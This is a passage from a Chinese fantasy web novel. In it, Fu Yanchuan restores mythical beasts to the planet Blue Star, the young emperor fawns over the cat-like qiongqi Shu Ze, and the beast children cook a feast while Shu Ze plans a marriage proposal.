傅宴川勾了勾嘴角,读出了李二牛的怨念,但这并不重要。他的指尖擦过照片上的脸,低喃,“再等等,就快了……” 等把所有的兽都带回来,再去处理一下自己的身份,马上……马上就可以表白了。 绚烂的流光似爆发的极光,铺满整个天际,深不见底的黑洞快被施法者的急切填满。 而远在主星的监控区,检测到这一奇观的官员不可置信的揉了揉眼,慌张跑出,和自己的领导撞了个正着。 领导皱眉不满,“你在干什么?” “报告长官!”小兵捋不清楚舌头,手一个劲的往后指,“蓝、蓝星!” 人类对那颗蔚蓝的星球总是抱有不一样的感情,哪怕那里已经无人居住,但却依旧有属于自己的名字,而非冰冷的星球代号。 蓝星两个字撩动了领导脆弱敏感的神经,他到这里来,就是因为全国上下找了大半月的傅宴川突然现身,没有半点遮掩,直奔蓝星去了。 他们想追,但又摸不清楚傅宴川在搞什么名堂,只好先来看看情况。没想到,刚巧来,就刚巧装上了蓝星异样。 他阴沉着脸,“快去请徐老。” 然后快步走进监控室。 与此同时,傅宴川手下的一把手也接到了消息。 “真的?!” 下属难掩激动,“梁哥,是真的!我们真的收到了处长留的暗语。” 梁强稳住颤抖的手,深吸一口气,“所有人,立刻出发!” 必须在那些人到之前,先走到老大的背后。 天上聚起了乌云,风云变幻,平静之下暗流涌动。 李二牛收到消息,抬头看着低垂的黑云,百思不得其解,“傅宴川,这种时候,你到底想干嘛……” “啪嗒——” 第一颗雨来了,豆大的雨滴争先恐后的落下,保安队队长紧急关上了自己的门。屋外的兽兽们,纷纷往家里跑。 这场雨之下,所有兽的轨迹都在改变。 床上的舒泽抖了抖眼皮,缓缓睁开了眼,转动脖子,看见了在门口装深沉的李二牛。 一秒过去了,两秒过去了,一分钟过去了,李二牛还是在装深沉。舒泽受不了了,努力吸了一口气,用鼻子重重的“哼”了声。 小猪哼唧。 李二牛听见动静,惊讶转头,“你居然醒了。” 不是才吃完饭吗,就舒泽的午休习惯,不到下午四五点自然饿醒,怎么可能主动发出声音。 他心念一动,沉声问道:“你也感受到了吗?” 山雨欲来之势。 舒泽被禁锢在被子里,艰难的把嘴巴拱出来,“炸鸡。” 李二牛:“……?” “什么?” 舒泽舔了舔嘴唇,“下雨声,像炸鸡声。” 他饿了。 李二牛:“…………” “你脑子能不能装点其它的啊啊啊!!!” 小萤不满的关上被震开的房门,“声音大了不起啊。” 三小崽扒着门缝往里看,第一时间听到了院长的需求,迅速达成响应。半小时后,喷火龙看着自己的战略·鸡圈·储备发出暴躁的吼叫,“谁特么偷了我的鸡!!!” 说是迟,那是快。熊铁锤端着香喷喷的炸鸡回来,“院长,院长,吃炸鸡了!” 平时,舒泽的起床气是大过食欲的。但当他点名想吃某样东西的时候,那是可以打断施法的。 这也是傅宴川告诉三只小崽的“院长饲养手册”。 熊铁锤高高兴兴的回来,推开虚掩的门,空无一人的房间,只有风掺着雨丝卷走了桌上的纸条,落在地上泅湿了墨,模糊了字。 熊铁锤头顶着飞盘似的碗碟,堆成小山的炸鸡,却没有找到品尝的食客。 * 飞船上 李二牛见舒泽愣神,没忍住问道:“既然那么不放心,你为什么不当面交代两句再走。” 舒泽缓缓摇头,“他们会想跟着来。” 他是去蓝星帮忙的,不确定会不会有什么危险。到时候忙起正事来,又顾不上照顾三个小崽。 一次性说七个字,那三个小崽子面子倒是挺大的。李二牛暗自嘀咕。 “那你直接拒绝就行了啊,反正他们也最听你话了。” 舒泽垂着眼不吭声。 崽崽们是听话,但是也会委屈巴巴的看着他。本来就在担心他会不会抛下他们,当面说,他不知道该怎么面对那样的三张脸。 看似什么都不在意,但其实什么都在意,更何况,那也是自己曾经经历过的事情。 好歹也是自己半散养的猫,李二牛瞅他那耷耳朵的样子,大概也就猜到他的想法了。 他骤然生出一种,上不如老下不如小的心酸感。 刚醒就着急忙慌的要去找傅宴川,走得时候还不放心家里的崽,这样那样的牵挂。只有他,当那个任劳任怨的牛马。 “头一次养孩子,想得还挺周全的嘛。” “放心吧,你在桌子上留了纸条的。虽然熊孩子和小灰鼠不靠谱,但是皮皮还在家呢。” 说完李二牛就打了个喷嚏,“怎么感觉背后凉飕飕的,把空调温度打高点。” 前方正在操作的船长听命行事,“好的,总裁。” 飞船光速前行,在基点中跳跃。几方人马不约而同的赶往同一颗沉寂已久的星球。 舒泽偏头看向窗外浩瀚无垠的星系,心中再次浮现那个想法——人类真的是十分聪明的种族。 从第一团火的燃起,文明的接力棒就不再熄灭。但,万物皆有灵,再聪明也做不了星际的霸主。 他想回自己的家了,去有哥哥有大家的家。 “二牛哥。” 优雅品红酒的霸总差点捏碎了杯子,从牙缝里挤出四个字,“又干什么。” “我们回家了。” “……”李二牛沉默许久,“嗯,回家了。” 此时的傅宴川还不知道,舒泽已经在赶来的路上。当流光织布遮住了最后一丝裂缝,天光大亮。大大小小泛着光晕的白团,像被风吹的蒲公英,轻飘飘的腾空而起,亲昵的围着傅宴川打转。 等伐异党和傅宴川的手下同时抵达的时候,看见的就是这么一副奇异的景象。 哪怕是这几十年见惯了风风雨雨的徐老,也被眼前这一幕震撼到。但他还是很快稳住了心神,“傅宴川,你暗中和非法分子勾结,潜逃至今,对帝国造成了重大损失。我将以叛国罪的名义将你逮捕!” 梁强掏出木仓,挡在傅宴川面前,“我看谁敢动!” 徐老的拐杖重重一敲,“你们整个监察处都要叛变了吗!” 气愤剑拔弩张,一触即发。 傅宴轻轻一挥手,微风拖着蒲公英们离开,落在地上,像是开出了洁白的花。 他眸光闪烁着清浅的光,身后是腥风血雨,眼前是希望悲悯。 “徐老不用着急,人还没有到齐呢。”傅宴川回首,孑然一身,但却带着浩瀚之力扫荡一方。 徐老微眯起眼睛,总觉得傅宴川有什么地方不一样了,原来虽然也强势,但却没有现在这种,让他多看一眼,就心生害怕惊慌的意味。 但他是领袖,绝不能在这个时候露怯。 “傅宴川,你还在等什么?已经没有人可以救你了,你乖乖跟我回去,我会念在你这些年为帝国做事的份上从轻处理的。” “徐老好大官威啊,我要是没记错的话,你和傅宴川是平级吧。”一道年轻清亮的男声传来。 霎时间,在场的人,除了傅宴川全都变了脸色。徐老率先稳住心神,转身行礼,“陛下。” 年轻男子走进了,约莫二十来岁的年纪,嘴角噙着笑,眉梢带着几分风流,分明是有些轻佻的长相,但萦绕在周身的贵气又恰巧掩了过去,眉宇昂扬还之间带着一丝锐利。 正是那个,年少上任,不顾所有人反对设立监察处,又一手提拔傅宴川为处长的帝王——艾尔达隆·米加。 他的出现,将本就混乱的局面拉进了更深的迷雾中。 他笑着开口,“大家都在啊。” 徐老毕恭毕敬的弯着腰,“陛下您怎么会在这里?” 姿态虽然谦卑,但话语之间又带着些藏不住的不满质问。 皇帝好似没有听出他的不敬,又好似根本不在意他的态度,径直跨过了他和傅宴川打招呼,“傅处长,好久不见。” 徐老捏紧了杖首,因为帝王的怠慢,眼中闪过一丝阴鹜。 傅宴川微微颔首,“陛下,我是来履行约定的。” 年轻帝王脸上带着新奇的光,“这居然是真的,太不可思议了。” 他隐隐透着激动,“我已经迫不及待见证这场奇迹的发生了。” 第42章 这我偶像啊 “什么奇迹?”徐老看着二人打哑谜的样子,心中隐有不好的感觉,手握紧了拐杖,嘴角皱出一点笑意,“陛下,您在说什么呢?” 虽然用的是敬语,但那有问题直接甩脸上的态度,可半点没有看出臣子对上的敬畏。 但是皇帝也懒得管他,眼中闪烁着炙热疯狂的光,像是看见回报的赌徒。 傅宴川缓缓抬手,对着皇帝作了一个古时的揖,“还望陛下信守承诺。” 一抬一弯,体如修竹,声如润玉。 时至今日,站于此地,他不是帝国的高官,不是人人害怕的管理处处长,只是一个将所有孩子纳入自己羽翼下,遮风挡雨的大家长。 “好说好说。”皇帝一抬手,虎狼之队围了过来,直接将徐老带来的人反包抄,捆了个结结实实。 徐老纵横官场那么多年,多久没有受过这种气了,失了所有稳重肃穆,气得直跳脚,“皇帝!你想干什么!你这样对我,就不怕乱套吗!” 皇帝轻巧一笑,“别担心,回去就把另一个捆了送给你作伴。” “你——!”见他说得那么轻巧,徐老这才意识到,这个他从未看得起的皇帝,这么多年都是在扮猪吃老虎,一朝发难,恐怕早做了完全准备,不会轻易让他翻身的。 思及此,徐老那被权利浸染多年的脸也透出灰白的苍老,声音嘶哑,“我还真是,小瞧了你们。” 他直直的望向傅宴川,像吐着信子的蛇,满脸怨毒。 手下还没搞清楚状况,只觉得和皇帝打哑谜的傅宴川像变了一个人。转过头,忐忑不安的询问,“处长,这段时间你都去哪儿了啊?” 傅宴川笑了笑,眼中无半点阴霾,“以前,谢谢你了。” 手下脑子一嗡,“……老大。” 傅宴川拂袖转身,手中氤氲出那团熟悉的蓝色雾气,轻轻一抬手,它便像被凤吹动的蒲公英般,轻飘飘的离开。 离开之前,还万般不舍的在掌心里滚了几个圈。 “去吧。” 一声叹息,蓝雾飘向天空,千年的分离只这几天的重逢,而后便是永久的再见。傅宴川仰头凝望,眼中无悲无喜。小皇帝睁大了眼,兴奋又紧张。 雾色四散,爆出万千霞光。 “滴答——” 下雨了。 千年前的雨落在这片残破的土地上,散落在地上的毛茸小团们,嗅到了生机,伸出柔软的触须,千奇百怪的异兽在同一时刻破茧成蝶。 明明只是雾腾腾的小雨,但河流却在此刻苏醒,蜿蜒淌过干涸的河床。长着腿儿的鱼,撒丫子狂奔,噗通噗通往里跳。奇形怪状的小老鼠,嗷的一声往山上一钻,三下五除二就啃空了一座山。 天上飞的,地上跑的。如画卷活过来般,拉开了一个新纪元。眼前奇异瑰丽的一幕,看得人目瞪口呆。 “这、这都是什么东西啊!” 有人惊呼出声,但更多的是被眼前这一幕震惊得说不出话来。 “神迹,真的有神迹……”小皇帝喃喃自语,看向傅宴川的目光充满戒备。 早些年,傅宴川以平民身份找到他,说可以解决掉异兽之困。可以将所有的异兽送到另外一个世界去,彻底解决人族和异兽之间的矛盾。 从一开始他是不信的,但傅宴川直接表明了自己的身份,古老又神秘的东方故事,奇妙但又难以置信。但眼前见到的这一幕,是真的。 神真的有改天换地之力,震撼人心。 傅宴川缓缓松开汗津津的掌心,转身,“陛下,如你所见,这里,就是它们以后的家园了。” 徐老还没有成为阶下囚的自觉,“什么家园?你们到底在商量什么?什么时候皇帝做决策可以绕过参议院了?!” 虽然他的火气很大,但傅宴川和皇帝,显然都没有搭理他的打算。 皇帝转动手上的戒指,轻松笑开,“确实,是个皆大欢喜的好结局。我还有件事,想要请教一下傅处长。” 小皇帝将称呼又换回了处长,嘴角虽是笑着,但眼中冰凉一片,“不知道傅处长,可知道拥兵自重一词。” “神力浩瀚,异兽相聚,我怎么能不为人族担忧呐。”他装模作样的叹了口气,本就躁动不安的空气,又平添几分凝重,压得人呼吸停滞。 傅宴川轻描淡写,“若我要反,陛下又能怎么办。” “山海斗转,我自然不敢挑战神的威压。”小皇帝脸上的笑如薄雾般轻散,露出獠牙,“但是,你到底还剩几分神力呢?扛得下我手里的大炮吗?” “毕竟那么多年,人类也不是白活的,总是能研发出一点新东西的嘛。” 傅宴川的瞳孔微不可见的紧缩了一下。 “哦?” “那陛下可以试试看。” 傅宴川似失了兴致,略带几分厌烦,催着小皇帝动手。 他那无所谓的态度,小皇帝难免又多了几分忌惮。不着痕迹的往后挪了半步,哈哈大笑,“我这不是和傅处长开个玩笑吗?” 手背在身后打了个手势,戒备的侍卫缓缓摸向自己的后腰…… “玩笑还是要大家都觉得好笑才行吧?” 李二牛朗声而至,舒泽跟在他身后半步,直直和傅宴川对上了眼。刚刚失了所有法力还敢和小皇帝唱空城计的傅宴川,有片刻的失态。 小泽怎么会来这里? 他捏紧袖中手掌,强行克制下来,深深看了舒泽一眼。意思很简单——要舒泽保护好自己,不要乱来。 舒泽皱了下眉,难得的,主动别开了脸。 傅宴川心下一抖,生出几分慌乱。 小泽生气了。 * 本就呈现四方混战之势的场面,因为舒泽二人的到来更加诡异。 皇帝自然是认识李二牛的,就是因为认识,所以他才觉得奇怪。 “易总怎么会出现在这里?” 他笑意盈盈主动打招呼,无半点君王的架子。做生意做到李二牛这个地步,尚未完全掌权的小皇帝也不敢轻易得罪自己的财神爷。 他随意掠过身后的舒泽,没有放在眼里,“我还不知道,易总和傅处长还是旧识。” 李二牛摆摆手,“嗨,那都是几千年的陈年旧事了,确实没什么好说的。” 此话一出,全场惊变。 几千年…… 若说刚刚,听着皇帝和傅宴川二人的对话还在云里雾里,这下是真的被这一句话点醒了。 人怎么可能活那么久!这俩根本就不是人! 皇帝的脸一下子就黑了下来,万万没想到,一个异兽混在人类社会里那么久,不仅没任何人发现,还成了自己都不得不忌惮的大人物。 “哼。”皇帝眼神阴冷,“兵财两全,那更是——” 李二牛和傅宴川同时朝前一步走,舒泽却抢在李二牛之前,飞身而出。直接在所有人面前,幻化出原型。 穷奇张开双翼,一声虎哮撼天动地,众人骇然,被风浪掀翻在地。 “这是什么东西?!” “这什么啊!” “保护陛下!保护陛下!”侍卫长掏出木仓对准半空中的舒泽,面色惊恐,手都在抖。 舒泽双目睥睨尽显王霸之气,瞳孔竖收,不屑的哼了声,故意朝着那边扇了两下,侍卫长双手挡脸,顶着狂风差点没站稳。 傅宴川哑然失笑。 还是半点气都不忍。 他虽然不赞同舒泽将自己暴露在危险之下,但事情已经发展到这一步了,他自然不可能拆台,朗声道:“昔日家园重建,还有好多事情要做,就不留各位了。” “等来日把所有异兽都安顿好了,再来一叙。” 傅宴川着重强调了一下“所有”二字,流落在外的兽他都要带回来,彻底和人类划个干净。 这无疑是动了很多人的蛋糕,但这超魔幻的一场戏下来,已经没人敢说话了。刚刚还振振有词,盘算着如何东山再起的徐老,已经抱头撅地,瑟瑟发抖。 但傅宴川对着皇帝的背,没看见皇帝眼中的灼热光芒,他高高仰着头,看着舒泽的真身,连眼睛都舍不得眨一下。 “穷奇……真的是穷奇……”他喃喃自语,情不自禁的向前一步走,“你真的是穷奇!” 侍卫长脸色大变,“陛下危险!” 但皇帝充耳不闻,那模样像见了自己偶像的狂热粉丝。 舒泽甩甩耳朵,不耐烦的低吼了声。 我不是穷奇,难道你是啊? 这一趴到底什么时候才能完,维持那么大的原型真的很累的。他要回去睡觉。 凶猛稳重震场子的穷奇,身后的尾巴不耐烦的甩甩甩,李二牛看得在心里直翻白眼,就装不了两秒的正经。 傅宴川虽然看不见尾巴的状态,但能从硕大的猫猫头上察觉到细微的表情变化,只能用眼神无声安慰。 他不是没有想过小皇帝会有出尔反尔的可能性,但当时的他别无选择。若这场冲突在所难免,有小泽和二牛在,加上正在苏醒的异兽,虽然会有些麻烦,但也不是不能解决…… “放下!全都给我放下!” 傅宴川还在心中权衡利弊,那边小皇帝却似疯了般,要求所有人收回对着舒泽的武器。 他从怀里掏出一个相机丢给懵逼的侍卫长,理理袖口,往舒泽身前一站,满眼喜气的举起剪刀手,“快,帮我拍一张照片!” 侍卫长:“……?” 不耐烦的舒泽:“o.0?” 正琢磨着如何开团的傅宴川:“?” 独自开朗的小皇帝:“啧。” 他赶苍蝇似的,吆着侍卫长往后面退,“你站那么近,能把我和穷奇拍下来吗!” 侍卫长:“…………” 傅宴川:“………………” 舒泽:又我? 第43章 我的偶像不可能是一只小…… “啧,怎么回事?”小皇帝夺过侍卫长的智脑,不满批判,“你这照的都是什么?” “这张过曝了!” “这张都没有拍到我!” “这张都是糊的!你看看我人在哪儿,在哪儿?!” “都让你拍雄伟一点了,你自己看看。这是凶兽还是猫!” 侍卫长唯唯诺诺,无辜且怂,“陛下,可是它现在看起来就像一只猫啊。” 小皇帝:“?” “穷奇是多么高大威猛的上古凶兽。”小皇帝皱眉,如同每一个听见自己偶像被诋毁而生气的热血青年。 他回头寻找穷奇伟岸的身躯,试图用现实证明自己王者的威严。 左右找寻。 小皇帝:“?” 他四处找寻无果后,难以置信的将目光投向长身玉立,保持沉默状似无辜的傅宴川——怀里的猫。 舒泽优雅的窝在他哥怀里,不耐的甩尾巴。 莫名其妙的人类,影响它的睡眠了。 黄金大面包不开心的把自己团成球,脑袋往傅宴川的臂弯里一钻,睡觉了。 傅宴川安抚性的拍拍猫头,又顺毛撸,熟练的手法给它带去更完美的睡眠手法。 好久没撸过猫的傅宴川,眉眼含笑,轻声谓叹。 蓄势待发的三方势力:“……” 严阵以待的李二牛:“…………” 诶,我真服了。 而此刻,一个正值中二期的少年。 也轻轻的碎了。 那天的开场,瑰丽绚烂。 氛围,剑拔弩张。 结尾,诙谐草率。 小皇帝接受不了,穷奇居然是一只小猫咪的事实,恍恍惚惚的离开。但还好歹没有忘记正事,把“反派”一同打包带走。 丢进大牢后,再把他的对手一起绑了。 大手一挥,对外颁布了份说明。 洋洋洒洒一大片,大体意思就是说,他俩是同谋,异兽的出现和种族之间的矛盾激化,都是因为他俩在暗中搞事情。 现在已经调查清楚,准备把他俩的职位都给撸了。以后就没有劳什子的激进党和保守党,直接把整个参议院都给关了。 以后国家要出台什么决定,他作为皇帝,一个人说了算。 这话大家肯定不乐意听了啊。 这小皇帝才多大岁数,就那么着急要揽权了。谁知道他年轻气盛的会干出什么事情来啊,三方制衡总比一言堂好。 但小皇帝接着又抛出了第二个重磅炸弹。 现已找到异兽异能的克制方法,并将把所有异兽迁徙至早已荒废的古蓝星,由现任异兽管理处处长傅宴川做同一管理。 暂时切断两地的交通渠道,后续将逐步制定完善管理制度,试行独立身份认证。在找到和平共处的方式之前,将不会批准异兽的进入。 最大限度的保证普通民众的财产生命安全。 一片哗然。 大家苦种族矛盾久已,找不到解决办法。 现在小皇帝可以解决这个,别说要把参议院撤了,就算他要体验一把“封建帝制”他们都能跪下来高呼三声陛下万岁。 外头的人本来还想煽动民意,给小皇帝施压。但根本就没人关注牢里那那两位了。 小皇帝就这样,兵不见血的完成了一项革新巨变。 皇宫内 小皇帝不死心的围着傅宴川转了两圈,“穷奇呢?” “你没带穷奇来?” 他似乎不太能接受,音量拔高,“我就那么没有威胁力?” 傅宴川哑然失笑,“他在睡觉,不想出门。” 小皇帝满眼失望,郁郁的坐回去,有气无力的,“那就快点聊吧,你准备什么时候把他们带走。” 傅宴川没有剪掉重新长回来的头发,用一根青色发带松松挽在身后,搭着灰色常服。褪去伪装的冰冷面具后,嘴角的浅笑都透着从容闲适。 他在下方找了个位置随意坐下,“我以为陛下不会那么轻易的让我离开。” 小皇帝有气无力的翻白眼,“废话。” “我会派人跟着你过去成立监察处。” “要是你真的组建了一只军队打上来,我哭都没地方哭。” 傅宴川笑了笑没说话,转而敲定起其他事项。 那么大规模的转移,中间涉及的环节和步骤都不简单。 从天光熹微到日暮黄昏,二人终于把各个环节都打通了。 傅宴川喝完杯中最后一口水,微微欠身,“我很感谢你的信任。” “那么荒诞的话,你居然愿意相信。”傅宴川想起当初的孤注一掷,连自己都不敢相信,是怎么敢说出口的,又是怎么取得信任的。 没见到偶像的小皇帝厌烦挥手,“又不是为了你。” 一是为了寻找破局之法,二是为了见见传说中的凶兽穷奇。现在两个目标都实现了,但他为什么觉得那么不爽呢? 小皇帝越想越心烦,“行了,商量完了,宴川帝君你快走吧。” “记得遵纪守法,坚持一个皇帝原则。” 傅宴川微微欠身,步履从容。 小皇帝看着他的背影,满是不爽。 傅宴川当年就是这样,一步步的走到他的面前来,自信难掩的告诉他,可以帮他成就大业。 后面那么多年,他盯着多方的压力,强行将傅宴川推至高位。傅宴川也如他当初承诺的那样,坚定的站在他身前遮风挡雨。 从相互试探,到逐渐信任。 原来到现在,他也只是为了自己的子民。而自己的身后,始终空无一人。 “切……” 小皇帝瘫倒在椅子上,闭着眼睛喃喃自语,“从今往后,这条路上就只有我一个人了……” 他想要权力,他享受站在权力巅峰,毫无桎梏的自由。但他也会担起万民,还世界一个安宁。 不是只有傅宴川一个人心中有天下。 他也有。 —— 等傅宴川走到外面,见天色已晚,恍然一惊。 虽然在走之前已经准备好了舒泽中午的口粮,但是现在已经到了吃晚饭的时间。 傅宴川加快脚步,准备赶回去做晚饭。 一道熟悉的呼喊声从身后传来。 “处长!” 昔日的手下拦住自己,傅宴川只得捺住急迫,“怎么了?” 手下再次见到傅宴川,心中还有些混乱。这几天发生的事情实在是都太魔幻了,他到现在都迷迷瞪瞪的。 “也没什么事……” 傅宴川眼神微顿。 手下瞬间加快语速,“就是,陛下派我作为监视和您一起去古蓝星,我先过来和您说一声。” 说完后他暗自松了口气,汗都差点出来了。不知道为啥,明明傅宴川的表情也没有多大的变化。 但那一瞬间迸发出来的骇人气场,感觉他再磕巴一下,就要有好果子吃。 听手下说完后傅宴川神色诧异,平而直的看了眼后面,又极快收了回来。 “知道了,辛苦你了。” 手下正襟肃容,“都是为了国民。” 这场前所未有的历史巨变,他很荣幸参与其中。 傅宴川:“我有一件事情要拜托你。” 手下:“您请说。” 傅宴川:“帮我调一辆军舰,最快的那种。” 手下:“……?” * 保育院 小灰兴奋的从大门飞回来,“没回来,他没有回来!” 皮皮闭眼,负手,在小灰掀起的风浪声中缓缓睁开眼,目光向上。 保安队队长从房间里钻出来,挥舞着自己的荧色尾巴,妖娆的环绕了六个圈。 小灰精准报时,“六点了!六点了!院长还有一个小时就要起床吃饭了!” 所有外出务工和在家的兽兽们围了过来。 聚在一起,一同面对这一场史诗级大灾难。 皮皮手一挥,五颜六色乱七八糟的眼睛全都聚在了他的身上。 皮皮张开嘴,喷火龙的尾巴火焰噗嗤冒得更高。 皮皮手刀干净利落的往下一劈,缓缓发出稚嫩的声音,“做、饭。” 熊铁锤轮着铁锅冲出来,“呔!都给我让开!” 第44章 表白准备 “今日!我们流窜在一起,是为了同一个伟大的目标!” 小灰:“嗯!” 熊铁锤高举勺子,“夺回属于我们的一切!” 下头的兽兽们:“夺回属于我们的一切!” “嗷~~~~~~!” 熊铁锤:“让他知道我们的厉害!” 兽兽们:“厉害!厉害!” “呜~~~!” 喷火龙仰天长啸,鼻子喷出热气儿,尾巴尖尖“蓬——”的燃起冲天火焰。 “很好。”熊铁锤捧着肚子,“我宣布——行动正式开始!” 天欲下雨,乌泱泱的兽,大大小小的铺满整个小广场。随着信号枪的打响,地上走的,自动站位,划分队形。天上飞的,腾空而起,织起居高俯瞰的大网。 拥有人类的思维方式,又有坚硬的盔甲,尖锐的利刃,兽类的瞳孔中是永远都无法褪去的血色,那是自然法则刻下的记忆。 当智慧的野兽露出獠牙,那是怎样骇人的画面。 自诩食物链顶端的人类,如何能不害怕? 小小的肉团子,立在风暴中心,挥着勺子,“那边的,去田里摘菜!” 半人高的土拨鼠领命,行了个礼,龇着两瓣大门牙就去了。 “那边的,去追鱼。” 感知到危险的鱼,从池塘里跳出来,迈开腿狂奔。 身后十几只哒哒哒哒哒的追。 “还有你们。”熊大师傅仰头,奶声奶气,“你们去山里多找点野味儿回来,越多越好。” 得令的鸟类发出啼叫,一头栽进山林里。 最后剩下有人样的,“你们出去买菜。” 熊大厨从背带裤里抽出菜单,“这些不着急用,有准备才不会手脚很忙。” 苏尔把那张纸四面八方都看了一遍,瞪着斗鸡眼,“你这写的都是什么?” “你是自己造了一门语言出来吗?” “哼。”熊铁锤噘嘴,“我就知道你这种笨蛋是看不懂的。” “你只要跟着皮皮去就行了。” 熊铁锤揪人家的尾巴,“皮皮,你可以的吧。” 皮皮缓缓解救自己的尾巴,“不是流窜。” 熊铁锤:“O.o?” 皮皮很有耐心的纠正,“是聚集。” 反应过来,但并不是很在意的熊铁锤:“……知道了知道了。” 他用肚子把人往外顶,“你快去吧,去吧去吧。” 皮皮被迫前行了两步,抵住,“还有——” 熊耳朵竖起。 “你刚刚是想说,手忙脚乱。” 熊耳朵关闭,“不,我什么都不想说,你快走!” 苏尔嫌弃皮皮腿短走不快,把人捞起放在臂窝里放好。 他好奇,“这玩意儿,你是怎么看懂的?” 不属于的高度,皮皮抓住苏尔的衣服,没什么表情,但是脸皮绷的紧紧的,“不认识。” 苏尔:“?” 皮皮慢吞吞的解释,“他边写边画,记住的。” 苏尔:“……行,你厉害。” 他又仔细拜读了铁锤造字,依旧无法从这堆乱画里面提取出有效信息,抓着纸翻来覆去的吐槽。 皮皮抿了下嘴巴,“那是,你笨。” 不许说铁锤。 “……” 大眼瞪小眼,没有兽权的苏尔窝囊闭嘴。 “阿嚏——!” 熊铁锤揉揉鼻子,活像个奴役农工的周扒皮,“那边的,给我动起来!不许在心里说我的坏话!” 左看看,右看看。 熊铁锤把勺子往天上一抛,飞踢过去。 “啊——!”土拨鼠捂头尖叫。 “干什么干什么!都和你说了多少遍了,用手用手!别用你那个破门牙!” “菜沾上口水味,院长就不爱吃了!” 四只穿山甲驮着小灰回来,小灰抱着自己的尾巴,安详闭眼。 “报告,已经清洗干净并烘干。” 熊铁锤搓了搓毛,勉强点头,“还不是很蓬松,放太阳底下再晒晒。” “要翻面,晒均晒足,保证手感。” “是!” 外头噼里啪啦,忙得热火朝天,屋内力竭休息的舒泽悠悠转醒,抱着被子在床上翻来覆去。 负责观察的小萤,屁股随着他的动作,一亮一亮又一亮。 舒泽的睫毛微微颤抖,萤光高速旋转,拉响警报。 熊铁锤振臂高呼,“快!冲刺阶段!” —— 舒泽做了一场梦。 梦里有透亮的蓝天,饱满的云朵。 山耸入云,银带盘旋至上而下,接入天际。 山野虫兽,肆意奔跑。 路边的草会一口吞掉好奇的小兽,生气的兽爸兽妈,会生气的挠草痒痒,等它咯吱咯吱大笑的时候再把娃掏出来。 尘世万千,各有姿态。 他就随意睡在一个山头,恪守守门的职责,兢兢业业吓跑每个误入的人类。 顺便“捡”起对方遗漏的包裹,美滋滋的把玩。 无聊了就睡睡觉。 等霞光铺满天际,会有一人回家,温柔的拂去落叶,把他扛在肩头,一下又一下顺毛。 乘着小船,咿咿呀呀的晃,梦里吹着清甜的风。 舒泽一头埋进脖颈,蹭到舒服的姿势,继续睡觉。 不知道过了多久,他终于恢复了意识,好像睁开了眼,但依旧是一片漆黑。 他试探性的迈出一步,“哥哥?” …… 无人回应。 他开始拼命超前奔跑,耳边是呼啸的风和自己越来越重的粗喘,回响空得让人害怕。 汗水跌落在地,溅起花。 “傅、傅宴川——!!” 一脚踏空—— 舒泽从床上坐起。 乱滚的头发翘起,四面八方的支棱,像一只懵懂的刺猬。 我是谁? 我在哪儿? 哥哥呢? “园长~!你醒啦!” 熊铁锤趴着床沿,踮起脚尖,虽然极力靠近,但又不想把自己身上的烟火气传给舒泽。 “园长,我已经把晚饭做好了!”圆球小黑尾甩出谄媚的残影,试图通过这场战役夺回失去的一切。 捕捉到关键词的舒泽一激灵,三魂六魄归位,总算想起自己现在在哪儿了。 恢复清明的眼神,抬手摸摸头,“乖。” 熊铁锤兴奋得脸发红,“吃饭!吃饭!” …… 舒泽坐在桌前,沉默。 饶是见过大场面的他,现在都有些,不知道怎么下口。 歪头,问熊大厨,“这么,多吗?” 熊师傅矜持,“还好吧,简简单单88盘菜。” 六张桌子拼成的超级大长桌,舒泽坐在中间,成堆的菜能把他给埋了。 面对骄傲得快要把嘴撅上天上去的熊师傅,舒泽超级给面子的鼓掌,给孩子哄得心花怒放。 “低调低调,你快吃叭。” 终于,他终于从那个讨厌的人手中夺回了属于自己的掌勺大权。 以后园长就会喜欢熊熊超过人。 小崽沉迷于自己的美妙幻想,舒泽摸了摸肚皮。 把所有神力都还了回去,那种背了一座大山,喘不上的气得感觉也消失了。 虽然睡了一觉精力恢复了不少,但是肚子还是扁扁的。 Duang的一下,一盆饭放在舒泽眼前。 咕咚。 舒泽把碗往前面一推,“等会儿吃。” 小熊嚣张的笑凝固在脸上。 旁边围着的兽兽们,大气不敢出一个。 熊铁锤不明白,“为什么?!” 舒泽认真的解释,“因为等下要做一件很重要的事情。” 小灰哭腔,“园长,你是不是不喜欢我们,要走了啊。” 兽兽们屏住呼吸。 有些沉不住的气的发出吚吚呜呜的急切悲鸣。 舒泽:“?” 这都什么和什么。 他轻松否认,“没有啊。” 舒泽:“我只是要求婚。” 这样的话,还是等哥哥回来了再动比较好。 哦,只是求婚,不是要抛下他们啊。 众兽放心。 熊铁锤松口气,耳朵飞飞,“早说嘛,原来只是要求———婚———” 后知后觉自己听到什么的熊铁锤眼睛瞪得溜圆,一口气吸不上来,双手交叠安详一倒。 皮皮用背艰难的将小胖子顶起来,“求、婚?” 舒泽坦然点头,“昂。” 他的目光缓缓的,从众兽身上划过,一边看一边在心里拨弄小算盘。 新的打工天团已经成立,后面回了蓝星重建,他们肯定可以给自己赚很多钱。 迟早有钱=有钱=给得起彩礼=可以向哥哥求婚。 嘎——嘎——嘎—— 天上不知名小鸟吱哇路过,沉睡的兽群被唤醒,嗷嗷呜呜的陷入混乱。 傅宴川刚到门口,就感受到了兽群暴动的气息。 难道……是有入侵者? 傅宴川大步流星。 “咳咳!” 尘土飞扬,傅宴川捂住口鼻。 混乱中,舒泽身处暴乱正中心,表情懵逼又呆滞。 傅宴川抬手,往下镇压。 “嘎——” 飞舞的鸟兽径直下坠,pia叽倒在服服帖帖趴地的兽群里。 像被强力胶黏住了一样,没一个动得了的。 还坐着的舒泽成了在场唯一一个还能动的人。 舒泽:“嚯~!” 头顶一片阴影,舒泽抬脸。 是傅宴川。 他弯了弯眼睛,“哥,你回来啦?” 从上往下看,整张脸小小的萌萌的,傅宴川心软软的,左手搭在肩上,右手捏了捏他的脸。 “嗯,回来了。” 熟悉的,安定的气息笼罩。 “这是什么情况?” 舒泽:“兽兽们做的,等你回来吃饭。” 傅宴川有点惊讶,没想到这些兽对他还挺好的。 他一直以为大家都不喜欢他呢。 “那他们刚刚在?” 舒泽用脸在掌心蹭了蹭,就一直看着他哥,“没事,让它们趴一会儿。” 免得捣乱。 继续盯—— 若无旁人。 那一圈兽兽,就这样被无视了。 熊铁锤努起屁股,但还是无法摆脱傅宴川下的禁制,pia叽一下黏得更紧。小灰四脚朝天,像翻不过去的小乌龟。 倒着看,矮矮的幼崽看呆了。 傅宴川眼里稀碎的星光,始终只凝视着舒泽。 